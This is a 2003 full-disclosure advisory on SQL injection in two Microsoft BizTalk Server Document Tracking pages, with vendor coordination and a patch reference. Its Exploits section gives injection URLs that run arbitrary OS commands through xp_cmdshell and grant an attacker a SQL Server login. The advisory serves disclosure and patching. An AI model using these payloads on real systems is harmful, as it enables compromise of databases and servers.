[Full-Disclosure] Microsoft Biztalk Server DTA vulnerable to SQL injection

From: Cesar (cesarc56_at_yahoo.com)
Date: 05/05/03

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    To: bugtraq@securityfocus.com, webappsec@securityfocus.com, full-disclosure@lists.netsys.com, vuln-dev@securityfocus.com
    Date: Mon, 5 May 2003 13:43:22 -0700 (PDT)
    
    

    Security Advisory

    Name: Microsoft Biztalk Server Document Tracking and
    Admnistration vulnerable to SQL injection
    System Affected : BizTalk Server 2000 and BizTalk
    Server 2002
    Severity : High
    Remote exploitable : Yes
    Author: Cesar Cerrudo.
    Date: 05/05/03
    Advisory Number: CC040302

    Legal Notice:

    This Advisory is Copyright (c) 2003 Cesar Cerrudo.
    You may distribute it unmodified and for free. You may
    NOT modify it and distribute it or distribute parts of
    it without the author's written permission. You may
    NOT use it for commercial intentions (this means
    include it in vulnerabilities databases,
    vulnerabilities scanners, any paid service, etc.)
    without the author's written permission. You are free
    to use Microsoft bulletin's details for commercial
    intentions.

    Disclaimer:

    The information in this advisory is believed to be
    true though it may be false.
    The opinions expressed in this advisory are my own and
    not of any company. The usual standard disclaimer
    applies, especially the fact that Cesar Cerrudo is not
    liable for any damages caused by direct or indirect
    use of the information or functionality provided by
    this advisory. Cesar Cerrudo bears no responsibility
    for content or misuse of this advisory or any
    derivatives thereof.

    Overview:

    Microsoft Biztalk Server is a Microsoft product for
    business-process automation
    and application-integration both within and between
    businesses. BizTalk Server
    provides a powerful Web-based development and
    execution environment that integrates
    loosely coupled, long-running business processes, both
    within and between companies.
    BizTalk Server features include integration among
    existing applications; the definition
    of document specifications and specification
    transformations; and the monitoring and
    logging of run-time activity. The server provides a
    standard gateway for sending and
    receiving documents across the Internet, as well as
    providing a range of services that
    ensure data integrity, delivery, security, and support
    for the BizTalk Framework and
    other key document formats.
    Microsoft BizTalk Server provides the ability for
    administrators to manage documents via
    a Document Tracking and Administration (DTA) web
    interface. A SQL Injection vulnerability
    exists in some of the pages used by DTA that could
    allow an attacker to send a crafted URL
    query string to a legitimate DTA user and to execute a
    malicious embedded SQL statement in
    the query string.

    Details:

    BizTalk Document Tracking and Administration is a
    stand-alone Web application that you can use to
    view interchanges and documents that you configured to
    be tracked in Microsoft
    BizTalk Server. Biztalk Server uses SQL Server as a
    backend database server.
    Only members of Windows administrators or BizTalk
    Server Report Users local groups
    are granted by default to use Biztalk Document
    Tracking and Administration user interface and view
    tracked documents.
    The web application authenticate users by Windows
    authentication, the credentials are
    also used to authenticate to SQL Server. The web
    application is located at:

    http://server/biztalktracking/

    There are two ASP pages on the web application that
    connect from server side to SQL
    Server that are vulnerable to SQL injection:

    http://server/biztalktracking/rawdocdata.asp

    http://server/biztalktracking/RawCustomSearchField.asp

    Exploits:

    http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;exec
    master.dbo.xp_cmdshell 'any OS command'--

    http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;exec
    master.dbo.xp_cmdshell 'any OS command'--
     
    or

    http://server/biztalktracking/rawdocdata.asp?nDocumentKey=1,@tnDirection=1;exec
    master.dbo.sp_grantlogin 'domain\attacker'--

    http://server/biztalktracking/RawCustomSearchField.asp?nDocumentKey=1,@tnDirection=1;exec
    master.dbo.sp_grantlogin 'domain\attacker'--

    ...etc.

    There are others ASP and HTML pages in the Web
    application that connect to SQL Server
    with activex components from client side that are also
    vulnerable to SQL injection.
    But when a user access these pages a warning message
    is displayed by Internet Explorer
    with default security settings for Intranet Zone:
    "This page access data on another domain. Do you want
    to allow this"
    Making the explotation harder without alarming the
    targeted administrators.

    This vulnerability can be exploited throght XSS or
    sending an administrator
    an HTML e-mail, etc. targeting the vulnerable server.
    Explotation of this vulnerability allows an attacker
    to complete compromise
    SQL Server and could lead to further OS compromise.

    Workaround:

    Edit ASP and HTML source files to filter malicious
    input.

    Vendor Status :

    Microsoft was contacted 02/14/03, we work together and
    Microsoft released a fix.

    Patch Available :

    http://www.microsoft.com/technet/security/bulletin/MS03-016.asp

     
    NEW SECURITY LIST!!!: For people interested in SQL
    Server security, vulnerabilities, SQL injection, etc.,
    I'm starting a new mailing list.
    People subscribed to the list received this advisory
    five days ago!!.
    Join at:

    sqlserversecurity-subscribe@yahoogroups.com
    http://groups.yahoo.com/group/sqlserversecurity/

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